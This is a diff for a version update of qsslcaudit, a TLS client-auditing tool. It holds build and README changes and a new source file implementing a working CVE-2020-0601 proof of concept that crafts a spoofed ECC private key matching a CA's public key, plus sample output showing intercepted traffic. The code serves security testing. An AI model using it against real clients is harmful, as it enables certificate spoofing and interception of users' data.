New upstream version 0.8.1
Sophie Brun
4 years ago
2 | 2 | cmake_minimum_required(VERSION 2.8.11) |
3 | 3 | |
4 | 4 | set(QSSLC_VERSION_MAJOR 0) |
5 | set(QSSLC_VERSION_MINOR 7) | |
5 | set(QSSLC_VERSION_MINOR 8) | |
6 | 6 | set(QSSLC_VERSION_PATCH 1) |
7 | 7 | set(QSSLC_VERSION "${QSSLC_VERSION_MAJOR}.${QSSLC_VERSION_MINOR}.${QSSLC_VERSION_PATCH}") |
8 | 8 | # version formatting stolen from KeepAssXC's CMakeLists.txt :-) |
151 | 151 | |
152 | 152 | add_definitions(-DQSSLC_VERSION="${QSSLC_VERSION}") |
153 | 153 | |
154 | find_package(CryptoPP REQUIRED) | |
155 | ||
154 | 156 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -Wall") |
155 | 157 | |
156 | 158 | set(THIRDPARTY_DIR "${CMAKE_SOURCE_DIR}/thirdparty") |
0 | # Module for locating the Crypto++ encryption library. | |
1 | # | |
2 | # Customizable variables: | |
3 | # CRYPTOPP_ROOT_DIR | |
4 | # This variable points to the CryptoPP root directory. On Windows the | |
5 | # library location typically will have to be provided explicitly using the | |
6 | # -D command-line option. The directory should include the include/cryptopp, | |
7 | # lib and/or bin sub-directories. | |
8 | # | |
9 | # Read-only variables: | |
10 | # CRYPTOPP_FOUND | |
11 | # Indicates whether the library has been found. | |
12 | # | |
13 | # CRYPTOPP_INCLUDE_DIRS | |
14 | # Points to the CryptoPP include directory. | |
15 | # | |
16 | # CRYPTOPP_LIBRARIES | |
17 | # Points to the CryptoPP libraries that should be passed to | |
18 | # target_link_libararies. | |
19 | # | |
20 | # | |
21 | # Copyright (c) 2012 Sergiu Dotenco | |
22 | # | |
23 | # Permission is hereby granted, free of charge, to any person obtaining a copy | |
24 | # of this software and associated documentation files (the "Software"), to deal | |
25 | # in the Software without restriction, including without limitation the rights | |
26 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
27 | # copies of the Software, and to permit persons to whom the Software is | |
28 | # furnished to do so, subject to the following conditions: | |
29 | # | |
30 | # The above copyright notice and this permission notice shall be included in all | |
31 | # copies or substantial portions of the Software. | |
32 | # | |
33 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
34 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
35 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
36 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
37 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
38 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
39 | # SOFTWARE. | |
40 | ||
41 | INCLUDE (FindPackageHandleStandardArgs) | |
42 | ||
43 | FIND_PATH (CRYPTOPP_ROOT_DIR | |
44 | NAMES cryptopp/cryptlib.h include/cryptopp/cryptlib.h | |
45 | PATHS ENV CRYPTOPPROOT | |
46 | DOC "CryptoPP root directory") | |
47 | ||
48 | # Re-use the previous path: | |
49 | FIND_PATH (CRYPTOPP_INCLUDE_DIR | |
50 | NAMES cryptopp/cryptlib.h | |
51 | HINTS ${CRYPTOPP_ROOT_DIR} | |
52 | PATH_SUFFIXES include | |
53 | DOC "CryptoPP include directory") | |
54 | ||
55 | FIND_LIBRARY (CRYPTOPP_LIBRARY_DEBUG | |
56 | NAMES cryptlibd cryptoppd | |
57 | HINTS ${CRYPTOPP_ROOT_DIR} | |
58 | PATH_SUFFIXES lib | |
59 | DOC "CryptoPP debug library") | |
60 | ||
61 | FIND_LIBRARY (CRYPTOPP_LIBRARY_RELEASE | |
62 | NAMES cryptlib cryptopp | |
63 | HINTS ${CRYPTOPP_ROOT_DIR} | |
64 | PATH_SUFFIXES lib | |
65 | DOC "CryptoPP release library") | |
66 | ||
67 | IF (CRYPTOPP_LIBRARY_DEBUG AND CRYPTOPP_LIBRARY_RELEASE) | |
68 | SET (CRYPTOPP_LIBRARY | |
69 | optimized ${CRYPTOPP_LIBRARY_RELEASE} | |
70 | debug ${CRYPTOPP_LIBRARY_DEBUG} CACHE DOC "CryptoPP library") | |
71 | ELSEIF (CRYPTOPP_LIBRARY_RELEASE) | |
72 | SET (CRYPTOPP_LIBRARY ${CRYPTOPP_LIBRARY_RELEASE} CACHE DOC | |
73 | "CryptoPP library") | |
74 | ENDIF (CRYPTOPP_LIBRARY_DEBUG AND CRYPTOPP_LIBRARY_RELEASE) | |
75 | ||
76 | IF (CRYPTOPP_INCLUDE_DIR) | |
77 | SET (_CRYPTOPP_VERSION_HEADER ${CRYPTOPP_INCLUDE_DIR}/cryptopp/config.h) | |
78 | ||
79 | IF (EXISTS ${_CRYPTOPP_VERSION_HEADER}) | |
80 | FILE (STRINGS ${_CRYPTOPP_VERSION_HEADER} _CRYPTOPP_VERSION_TMP REGEX | |
81 | "^#define CRYPTOPP_VERSION[ \t]+[0-9]+$") | |
82 | ||
83 | STRING (REGEX REPLACE | |
84 | "^#define CRYPTOPP_VERSION[ \t]+([0-9]+)" "\\1" _CRYPTOPP_VERSION_TMP | |
85 | ${_CRYPTOPP_VERSION_TMP}) | |
86 | ||
87 | STRING (REGEX REPLACE "([0-9]+)[0-9][0-9]" "\\1" CRYPTOPP_VERSION_MAJOR | |
88 | ${_CRYPTOPP_VERSION_TMP}) | |
89 | STRING (REGEX REPLACE "[0-9]([0-9])[0-9]" "\\1" CRYPTOPP_VERSION_MINOR | |
90 | ${_CRYPTOPP_VERSION_TMP}) | |
91 | STRING (REGEX REPLACE "[0-9][0-9]([0-9])" "\\1" CRYPTOPP_VERSION_PATCH | |
92 | ${_CRYPTOPP_VERSION_TMP}) | |
93 | ||
94 | SET (CRYPTOPP_VERSION_COUNT 3) | |
95 | SET (CRYPTOPP_VERSION | |
96 | ${CRYPTOPP_VERSION_MAJOR}.${CRYPTOPP_VERSION_MINOR}.${CRYPTOPP_VERSION_PATCH}) | |
97 | ENDIF (EXISTS ${_CRYPTOPP_VERSION_HEADER}) | |
98 | ENDIF (CRYPTOPP_INCLUDE_DIR) | |
99 | ||
100 | SET (CRYPTOPP_INCLUDE_DIRS ${CRYPTOPP_INCLUDE_DIR}) | |
101 | SET (CRYPTOPP_LIBRARIES ${CRYPTOPP_LIBRARY}) | |
102 | ||
103 | MARK_AS_ADVANCED (CRYPTOPP_INCLUDE_DIR CRYPTOPP_LIBRARY CRYPTOPP_LIBRARY_DEBUG | |
104 | CRYPTOPP_LIBRARY_RELEASE) | |
105 | ||
106 | FIND_PACKAGE_HANDLE_STANDARD_ARGS (CryptoPP REQUIRED_VARS CRYPTOPP_ROOT_DIR | |
107 | CRYPTOPP_INCLUDE_DIR CRYPTOPP_LIBRARY VERSION_VAR CRYPTOPP_VERSION) |
4 | 4 | |
5 | 5 | - [Summary](#summary) |
6 | 6 | - [Installation from Binary Packages](#installation-from-binary-packages) |
7 | - [Debian / Kali](#debian--kali) | |
8 | - [ALTLinux](#altlinux) | |
7 | - [Prior note](#prior-note) | |
8 | - [Ubuntu](#ubuntu) | |
9 | - [Kali](#kali) | |
9 | 10 | - [Installation from Sources](#installation-from-sources) |
10 | 11 | - [Note on OpenSSL 1.1.0](#note-on-openssl-110) |
11 | 12 | - [Note on unsafe OpenSSL variant](#note-on-unsafe-openssl-variant) |
21 | 22 | - [Usage Example #1](#usage-example-1) |
22 | 23 | - [Usage Example #2](#usage-example-2) |
23 | 24 | - [Usage Example #3](#usage-example-3) |
25 | - [CVE-2020-0601](#cve-2020-0601) | |
24 | 26 | - [(Some) Command Line Options](#some-command-line-options) |
25 | 27 | - [Tests](#tests) |
26 | 28 | - [certificate trust test with user-supplied certificate](#certificate-trust-test-with-user-supplied-certificate) |
47 | 49 | |
48 | 50 | Basically, after performing tests using `qsslcaudit` one can answer the following questions about TLS/SSL client: |
49 | 51 | |
50 | * Does it properly verify server's certificate? | |
52 | * Does it properly verify a server's certificate? | |
51 | 53 | * Does it verify that server name (CN) field in the certificate is the same as the target name? |
52 | 54 | * Does it verify that certificate was issued by an authority that can be trusted? |
53 | 55 | * Does it support weak protocols (SSLv2, SSLv3) or weak ciphers (EXPORT/LOW/MEDIUM grade)? |
54 | 56 | |
55 | 57 | If the tested application has some weaknesses in TLS/SSL implementation, there is a risk of man-in-the-middle attack which could lead to sensitive information (such as user credentials) disclosure. |
56 | 58 | |
57 | Assume that we have mobile application which at some point requests https://login.domain.tld/ Such request can be forwarded to rogue server (i.e. on public WiFi network) and, if mobile app does not verify server's certificate, users credentials will be intercepted. | |
59 | Assume that we have mobile application which at some point requests https://login.domain.tld/ Such request can be forwarded to rogue server (i.e. on public WiFi network) and, if mobile app does not verify the server's certificate, users credentials will be intercepted. | |
58 | 60 | |
59 | 61 | To check how the application behaves in this scenario we should setup our own rogue TLS/SSL server and forward the app to it. Then we launch the application, try to login and observe the results. In case login failed -- all is fine. |
60 | 62 | |
64 | 66 | |
65 | 67 | # Installation from Binary Packages |
66 | 68 | |
67 | Prior note: `openssl-unsafe` package will *not* override system OpenSSL library. It has all its libraries renamed so one can not occasionally link against *unsafe* version. | |
68 | ||
69 | ## Debian / Kali | |
70 | ||
71 | Download `qsslcaudit` deb package from https://github.com/gremwell/qsslcaudit/releases | |
72 | Download `openssl-unsafe` deb packages from https://github.com/gremwell/unsafeopenssl-pkg-debian/releases page. | |
73 | ||
74 | Install them altogether: | |
75 | ``` | |
76 | dpkg -i qsslcaudit_0.2.1-1_amd64.deb openssl-unsafe_1.0.2i-2_amd64.deb libunsafessl1.0.2_1.0.2i-2_amd64.deb | |
77 | ``` | |
78 | ||
79 | ## ALTLinux | |
80 | ||
81 | Download `qsslcaudit` RPM package from https://github.com/gremwell/qsslcaudit/releases | |
82 | Download `openssl-unsafe` packages from https://github.com/gremwell/unsafeopenssl-pkg-alt/releases page. | |
83 | ||
84 | Install them altogether: | |
85 | ``` | |
86 | apt-get install qsslcaudit-0.2.1-alt1.x86_64.rpm libunsafecrypto10-1.0.2i-alt2.x86_64.rpm libunsafessl10-1.0.2i-alt2.x86_64.rpm openssl-unsafe-1.0.2i-alt2.x86_64.rpm | |
87 | ``` | |
69 | ## Prior note | |
70 | ||
71 | The tool heavily relies on unsafe version of OpenSSL library (see below). It is separately packaged. Do note that its installation will not interfere with system version of OpenSSL and will not introduce security risks by itself. | |
72 | ||
73 | `qsslcaudit` uses only unsafe *libraries*. However, you might be interested in `openssl-unsafe` package which can be used to connect to TLS servers using insecure protocols/ciphers. This is can be combined with tools like [testssl.sh](https://testssl.sh). | |
74 | ||
75 | ## Ubuntu | |
76 | ||
77 | Use PPA to install packages on Xenial and Bionic distros: | |
78 | ``` | |
79 | add-apt-repository ppa:gremwell/qsslcaudit | |
80 | apt-get update | |
81 | apt-get install qsslcaudit | |
82 | ``` | |
83 | ||
84 | ## Kali | |
85 | ||
86 | Starting from 2020 `qsslcaudit` is included in the official Kali repository. | |
88 | 87 | |
89 | 88 | # Installation from Sources |
90 | 89 | |
100 | 99 | |
101 | 100 | ## Note on unsafe OpenSSL variant |
102 | 101 | |
103 | As even 1.0.x versions are too safe for some of the tests included, we prepared so-called *unsafe* build of OpenSSL library. See repositories https://github.com/gremwell/unsafeopenssl-pkg-debian and https://github.com/gremwell/unsafeopenssl-pkg-alt | |
104 | ||
105 | Packages backed from these repos follow filesystem hierarchy standard but install renamed OpenSSL libraries, i.e. `libunsafessl` and `libunsafecrypto`. This makes it impossible to accidentally link your program against these libraries. Additionally, they provide `openssl-unsafe` binary which can be useful by itself with tools like https://testssl.sh/ | |
102 | As even 1.0.x versions are too safe for some of the tests included, we prepared so-called *unsafe* build of OpenSSL library. See https://github.com/gremwell/unsafeopenssl-pkg-deb | |
103 | ||
104 | Packages backed from this repo follow filesystem hierarchy standard but install renamed OpenSSL libraries, i.e. `libunsafessl` and `libunsafecrypto`. This makes it impossible to accidentally link your program against these libraries. Additionally, they provide `openssl-unsafe` binary which can be useful by itself with tools like [testssl.sh](https://testssl.sh/) | |
106 | 105 | |
107 | 106 | Build system of `qsslcaudit` determines which OpenSSL variant is installed and will use *unsafe* version if it is available. |
108 | 107 | |
113 | 112 | * [Qt](https://www.qt.io/) (Qt5-base) development package |
114 | 113 | * [GNU TLS](https://www.gnutls.org/) library development package |
115 | 114 | * [OpenSSL](https://www.openssl.org/) library development package |
115 | * [CryptoPP](https://cryptopp.com/) library development package | |
116 | 116 | * [CMake](https://cmake.org/) tool |
117 | 117 | |
118 | If you want to use unsafe OpenSSL variant, install corresponding packages from https://github.com/gremwell/unsafeopenssl-pkg-debian or https://github.com/gremwell/unsafeopenssl-pkg-alt and avoid having standard system OpenSSL devel packages. Below we mention default system libraries. | |
119 | ||
120 | Installing packages for ALT Linux (P8, Sisyphus@01-2018): `sudo apt-get install cmake qt5-base-devel libgnutls-devel libssl-devel`. | |
121 | ||
122 | Installing packages for Kali (rolling@01-2018): `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libssl1.0-dev`. | |
123 | ||
124 | Installing packages for Ubuntu 16.04: `sudo apt-get install cmake qtbase5-dev libgnutls-dev libssl-dev`. | |
125 | ||
126 | Installing packages for Ubuntu 18.04: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libssl1.0-dev`. | |
127 | ||
128 | Installing packages for Linux Mint 18.3: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libssl-dev g++`. | |
118 | If you want to use unsafe OpenSSL variant, install corresponding "-dev" packages from PPA/Kali repositories mentioned earlier. This is a recommended way as having `qsslcaudit` in its *safe* form allows to perform very little amount of tests. | |
119 | ||
120 | Installing packages for Kali: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libunsafessl-dev libcrypto++-dev`. | |
121 | ||
122 | Installing packages for Ubuntu 16.04: `sudo apt-get install cmake qtbase5-dev libgnutls-dev libunsafessl-dev libcrypto++-dev`. | |
123 | ||
124 | Installing packages for Ubuntu 18.04: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libunsafessl-dev libcrypto++-dev`. | |
129 | 125 | |
130 | 126 | ### Detailed build description |
131 | 127 | |
146 | 142 | |
147 | 143 | Now the tool is installed. |
148 | 144 | |
149 | OpenSSL library is determine during `cmake` run. If your system has unsafe version (see above), it will be used. Otherwise -- available system version (1.0.x or 1.1.x). | |
145 | OpenSSL library is determined during `cmake` run. If your system has the unsafe version (see above), it will be used. Otherwise -- available system version (1.0.x or 1.1.x). | |
150 | 146 | |
151 | 147 | #### Building unsafe OpenSSL library |
152 | 148 | |
206 | 202 | Connections can also be forwarded with help of HTTP proxy: |
207 | 203 | |
208 | 204 | * Setup HTTP/HTTPS proxy on the host which has network access to `qsslcaudit` instance. |
209 | * Configure client's system to use proxy. | |
205 | * Configure the client's system to use proxy. | |
210 | 206 | * Configure proxy to forward incoming connections to the target host towards `qsslcaudit` listener. This is complicated step which is described below. |
211 | 207 | |
212 | 208 | Forwarding connections can not be done in [Burp](http://releases.portswigger.net/) (the only option is to forward all connections). [Fiddler](https://www.telerik.com/fiddler) also does not support such mode. A custom tool can be used (like Python script). |
361 | 357 | $ openssl s_client -connect 127.0.0.1:8443 -ssl3 -cipher MEDIUM |
362 | 358 | ``` |
363 | 359 | |
360 | ## CVE-2020-0601 | |
361 | ||
362 | A test for [CVE-2020-0601](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601) (`the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates`) is included in certificate validation tests group and always tries to enable itself. | |
363 | ||
364 | However, if one wants to test if a particular client application is affected by CVE-2020-0601 the following preconditions have to be met: | |
365 | - a signed using elliptic-curve cryptography algorithm CA certificate has to be provided; | |
366 | - this certificate has to be cached by client's crypto subsystem. | |
367 | ||
368 | CA certificate can be provided in two ways: | |
369 | - With option `--user-ca-cert`. Provide a path to CA certificate file. | |
370 | - With option `--server`. If the provided TLS server has CA certificate in its chain, it will be used. Please note that it is not common to add CA into chain of certificates. | |
371 | ||
372 | The test will explicitly output an error message occurred. This should help to find out what went wrong. | |
373 | ||
374 | An example of what happens when invalid certificate is provided: | |
375 | ``` | |
376 | $ qsslcaudit --selected-tests 29 --user-ca-cert ./AddTrustExternalCARoot | |
377 | preparing selected tests... | |
378 | CVE-2020-0601: the provided CA certificate is not signed using ECC | |
379 | skipping test: test for trusting certificate signed by private key with custom curve | |
380 | ||
381 | ...skipped... | |
382 | ``` | |
383 | ||
384 | An example demonstrating that targeted client is vulnerable: | |
385 | ``` | |
386 | $ sudo qsslcaudit -l 0.0.0.0 -p 443 --selected-tests 29 --user-ca-cert ./USERTrustECCCertificationAuthority.crt --user-cn example.com | |
387 | preparing selected tests... | |
388 | ||
389 | SSL library used: OpenSSL 1.0.2u 20 Dec 2019 | |
390 | ||
391 | running test #29: test for trusting certificate signed by private key with custom curve | |
392 | listening on 0.0.0.0:443 | |
393 | connection from: 127.0.0.1:52454 | |
394 | SSL connection established | |
395 | received data: GET / HTTP/1.1 | |
396 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
397 | Accept-Language: en-BE | |
398 | Upgrade-Insecure-Requests: 1 | |
399 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362 | |
400 | Accept-Encoding: gzip, deflate, br | |
401 | Host: example.com | |
402 | Connection: Keep-Alive | |
403 | ||
404 | ||
405 | disconnected | |
406 | report: | |
407 | test failed, client accepted fake certificate, data was intercepted | |
408 | test finished | |
409 | ||
410 | tests results summary table: | |
411 | +----|------------------------------------|------------|-----------------------------+ | |
412 | | ## | Test Name | Result | Comment | | |
413 | +----|------------------------------------|------------|-----------------------------+ | |
414 | | 29 | CVE-2020-0601 ECC cert trust | FAILED !!! | mitm possible | | |
415 | +----|------------------------------------|------------|-----------------------------+ | |
416 | most likely all connections were established by the same client | |
417 | the first connection details: | |
418 | source host: 127.0.0.1 | |
419 | dtls?: false | |
420 | ssl errors: | |
421 | ssl conn established?: true | |
422 | intercepted data: GET / HTTP/1.1 | |
423 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
424 | Accept-Language: en-BE | |
425 | Upgrade-Insecure-Requests: 1 | |
426 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362 | |
427 | Accept-Encoding: gzip, deflate, br | |
428 | Host: example.com | |
429 | Connection: Keep-Alive | |
430 | ||
431 | ||
432 | received data, bytes: 722 | |
433 | transmitted data, bytes: 1698 | |
434 | protocol: TLSv1.2 | |
435 | accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA | |
436 | SNI: example.com | |
437 | ALPN: h2, http/1.1 | |
438 | ||
439 | qsslcaudit version: 0.7.1-snapshot | |
440 | ``` | |
364 | 441 | |
365 | 442 | ## (Some) Command Line Options |
366 | 443 |
13 | 13 | sslcheck.cpp |
14 | 14 | ssltestresult.cpp |
15 | 15 | clientinfo.cpp |
16 | openssl-helper.cpp | |
17 | cve-2020-0601_poc.cpp | |
16 | 18 | ) |
17 | 19 | |
18 | 20 | set(qsslcauditHeaders |
32 | 34 | sslcheck.h |
33 | 35 | ssltestresult.h |
34 | 36 | clientinfo.h |
37 | openssl-helper.h | |
38 | cve-2020-0601_poc.h | |
35 | 39 | ) |
36 | 40 | |
37 | 41 | include_directories( |
46 | 50 | add_library(qsslcaudit_lib STATIC ${qsslcauditSources} ${qsslcauditHeaders}) |
47 | 51 | set_target_properties(qsslcaudit_lib PROPERTIES AUTOMOC TRUE) |
48 | 52 | |
49 | target_link_libraries(qsslcaudit_lib qtcertificateaddon) | |
53 | target_link_libraries(qsslcaudit_lib qtcertificateaddon ${CRYPTOPP_LIBRARIES}) | |
50 | 54 | |
51 | 55 | if(UNSAFE_QSSL) |
52 | 56 | target_link_libraries(qsslcaudit_lib unsafessl) |
0 | #include "cve-2020-0601_poc.h" | |
1 | ||
2 | #include <cryptopp/sha.h> | |
3 | #include <cryptopp/eccrypto.h> | |
4 | #include <cryptopp/nbtheory.h> | |
5 | #include <cryptopp/osrng.h> | |
6 | #include <cryptopp/oids.h> | |
7 | #include <cryptopp/files.h> | |
8 | using CryptoPP::SHA1; | |
9 | using CryptoPP::SHA256; | |
10 | using CryptoPP::SHA384; | |
11 | using CryptoPP::ECDSA; | |
12 | using CryptoPP::ECP; | |
13 | using CryptoPP::DL_Keys_ECDSA; | |
14 | using CryptoPP::StringSource; | |
15 | using CryptoPP::DL_GroupParameters_EC; | |
16 | using CryptoPP::DL_PrivateKey_EC; | |
17 | using CryptoPP::DERSequenceEncoder; | |
18 | using CryptoPP::DEREncodeUnsigned; | |
19 | using CryptoPP::DERGeneralEncoder; | |
20 | using CryptoPP::BufferedTransformation; | |
21 | ||
22 | //#define SUPPORT_DER_ENCODING 1 | |
23 | ||
24 | #ifdef SUPPORT_DER_ENCODING | |
25 | // stolen from https://github.com/noloader/cryptopp-pem/blob/master/pem_write.cpp | |
26 | ||
27 | // This class saves the existing EncodeAsOID setting for EC group parameters. | |
28 | // PEM_Save unconditionally sets it to TRUE for OpenSSL compatibility. See | |
29 | // https://wiki.openssl.org/index.php/Elliptic_Curve_Cryptography#Named_Curves | |
30 | template <class T> | |
31 | struct OID_State | |
32 | { | |
33 | OID_State(const T& obj); | |
34 | virtual ~OID_State(); | |
35 | ||
36 | const T& m_gp; | |
37 | bool m_flag; | |
38 | }; | |
39 | ||
40 | template <> | |
41 | OID_State<DL_GroupParameters_EC<ECP> >::OID_State(const DL_GroupParameters_EC<ECP>& gp) | |
42 | : m_gp(gp), m_flag(gp.GetEncodeAsOID()) { | |
43 | DL_GroupParameters_EC<ECP>& obj = const_cast<DL_GroupParameters_EC<ECP>&>(m_gp); | |
44 | obj.SetEncodeAsOID(true); | |
45 | } | |
46 | ||
47 | template <> | |
48 | OID_State<DL_GroupParameters_EC<ECP> >::~OID_State() { | |
49 | DL_GroupParameters_EC<ECP>& obj = const_cast<DL_GroupParameters_EC<ECP>&>(m_gp); | |
50 | obj.SetEncodeAsOID(m_flag); | |
51 | } | |
52 | ||
53 | template <class EC> | |
54 | void savePrivKey(const DL_PrivateKey_EC<EC>& key, BufferedTransformation& bt) | |
55 | { | |
56 | ||
57 | // Crypto++ provides {version,x}, while OpenSSL expects {version,x,curve oid,y}. | |
58 | typedef typename DL_PrivateKey_EC<EC>::Element Element; | |
59 | const DL_GroupParameters_EC<EC>& params = key.GetGroupParameters(); | |
60 | const CryptoPP::Integer& x = key.GetPrivateExponent(); | |
61 | const Element& y = params.ExponentiateBase(x); | |
62 | ||
63 | CryptoPP::Integer M = params.GetCurve().GetField().GetModulus(); | |
64 | CryptoPP::Integer A = params.GetCurve().GetA(); | |
65 | CryptoPP::Integer B = params.GetCurve().GetB(); | |
66 | const Element G = params.GetSubgroupGenerator(); | |
67 | ||
68 | // Named curve | |
69 | CryptoPP::OID oid; | |
70 | bool validNamedCurve = key.GetVoidValue(CryptoPP::Name::GroupOID(), typeid(oid), &oid); | |
71 | //if (key.GetVoidValue(CryptoPP::Name::GroupOID(), typeid(oid), &oid) == false) | |
72 | // throw CryptoPP::Exception(CryptoPP::Exception::OTHER_ERROR, "PEM_DEREncode: failed to retrieve curve OID"); | |
73 | // as we might have private key with custom curve, it can not be found among the list of approved OIDs | |
74 | // thus, the call commented above will raise an exception. | |
75 | // we can handle this case by just providing a fake OID. this will make the resulting key unparsable | |
76 | // by most of the tools, but in fact it will work | |
77 | // if we insert here known OID here, tools will try to validate the key and this validation will fail | |
78 | if (!validNamedCurve) { | |
79 | oid += 1; oid += 2; oid += 3; oid += 4; oid += 5; | |
80 | //oid = CryptoPP::ASN1::secp384r1(); | |
81 | } | |
82 | ||
83 | DERSequenceEncoder seq1(bt); | |
84 | DEREncodeUnsigned<CryptoPP::word32>(seq1, 1); // version | |
85 | x.DEREncodeAsOctetString(seq1, params.GetSubgroupOrder().ByteCount()); | |
86 | ||
87 | DERGeneralEncoder cs1(seq1, CryptoPP::CONTEXT_SPECIFIC | CryptoPP::CONSTRUCTED | 0); | |
88 | //params.DEREncode(cs1); | |
89 | DERSequenceEncoder seq2(cs1); | |
90 | DEREncodeUnsigned<CryptoPP::word32>(seq2, 1); | |
91 | params.GetCurve().DEREncode(seq2); | |
92 | params.GetCurve().DEREncodePoint(seq2, params.GetSubgroupGenerator(), false); | |
93 | params.GetGroupOrder().DEREncode(seq2); | |
94 | DEREncodeUnsigned<CryptoPP::word32>(seq2, 1); | |
95 | seq2.MessageEnd(); | |
96 | cs1.MessageEnd(); | |
97 | seq1.MessageEnd(); | |
98 | bt.MessageEnd(); | |
99 | } | |
100 | ||
101 | void privKeyToDer(const DL_PrivateKey_EC<ECP>& ec, BufferedTransformation& bt) | |
102 | { | |
103 | OID_State<DL_GroupParameters_EC<ECP> > state(ec.GetGroupParameters()); | |
104 | savePrivKey(ec, bt); | |
105 | } | |
106 | ||
107 | void privKeyToDer(const DL_Keys_ECDSA<ECP>::PrivateKey& ecdsa, BufferedTransformation& bt) | |
108 | { | |
109 | privKeyToDer(dynamic_cast<const DL_PrivateKey_EC<ECP>&>(ecdsa), bt); | |
110 | } | |
111 | #endif | |
112 | ||
113 | bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen, | |
114 | char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len, | |
115 | bool doSave, const char *evilPrivKeyFileName) | |
116 | { | |
117 | // load public key of the provided certificate into native CryptoPP type | |
118 | DL_Keys_ECDSA<ECP>::PublicKey caPubKey; | |
119 | caPubKey.Load(CryptoPP::ArraySource((const unsigned char *)caPubKeyRaw, | |
120 | caPubKeyRawLen, true).Ref()); | |
121 | ||
122 | // generate a private key using the same curve as in the provided CA certificate | |
123 | CryptoPP::AutoSeededRandomPool prng; | |
124 | DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase; | |
125 | privKeyBase.Initialize(prng, caPubKey.GetGroupParameters()); | |
126 | ||
127 | // get the private key elliptic curve parameters | |
128 | CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent(); | |
129 | ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve(); | |
130 | CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder(); | |
131 | ||
132 | // calculate an inverse value of the private key | |
133 | CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder); | |
134 | // produce our custom generator (base point) as a multiplication of the inverse value of our private key | |
135 | // and the public key of the provided CA certificate | |
136 | ECP::Point caPubKeyQ = caPubKey.GetPublicElement(); | |
137 | ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse); | |
138 | ||
139 | // create an "evil" private key object using the base private's key exponent and curve but | |
140 | // with our "evil" generator (base point) | |
141 | DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey; | |
142 | evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp); | |
143 | ||
144 | // convert evil private key into PKCS8 format | |
145 | CryptoPP::ArraySink evilPrivKeyPKCS8As((unsigned char *)outEvilPrivKeyPKCS8, maxSizePKCS8); | |
146 | evilPrivKey.Save(evilPrivKeyPKCS8As.Ref()); | |
147 | *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength(); | |
148 | ||
149 | if (doSave) { | |
150 | // save it as-is so this can be imported by some tools | |
151 | evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref()); | |
152 | } | |
153 | ||
154 | // the code below converts the key to DER format | |
155 | // however, as we have here our custom curve (not the "named" one), most of the | |
156 | // tools are not able to properly import it. thus, leaving this code commented-out | |
157 | #ifdef SUPPORT_DER_ENCODING | |
158 | CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer); | |
159 | privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref()); | |
160 | *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength(); | |
161 | #endif | |
162 | ||
163 | return true; | |
164 | } |
0 | #ifndef CVE20200601_POC_H | |
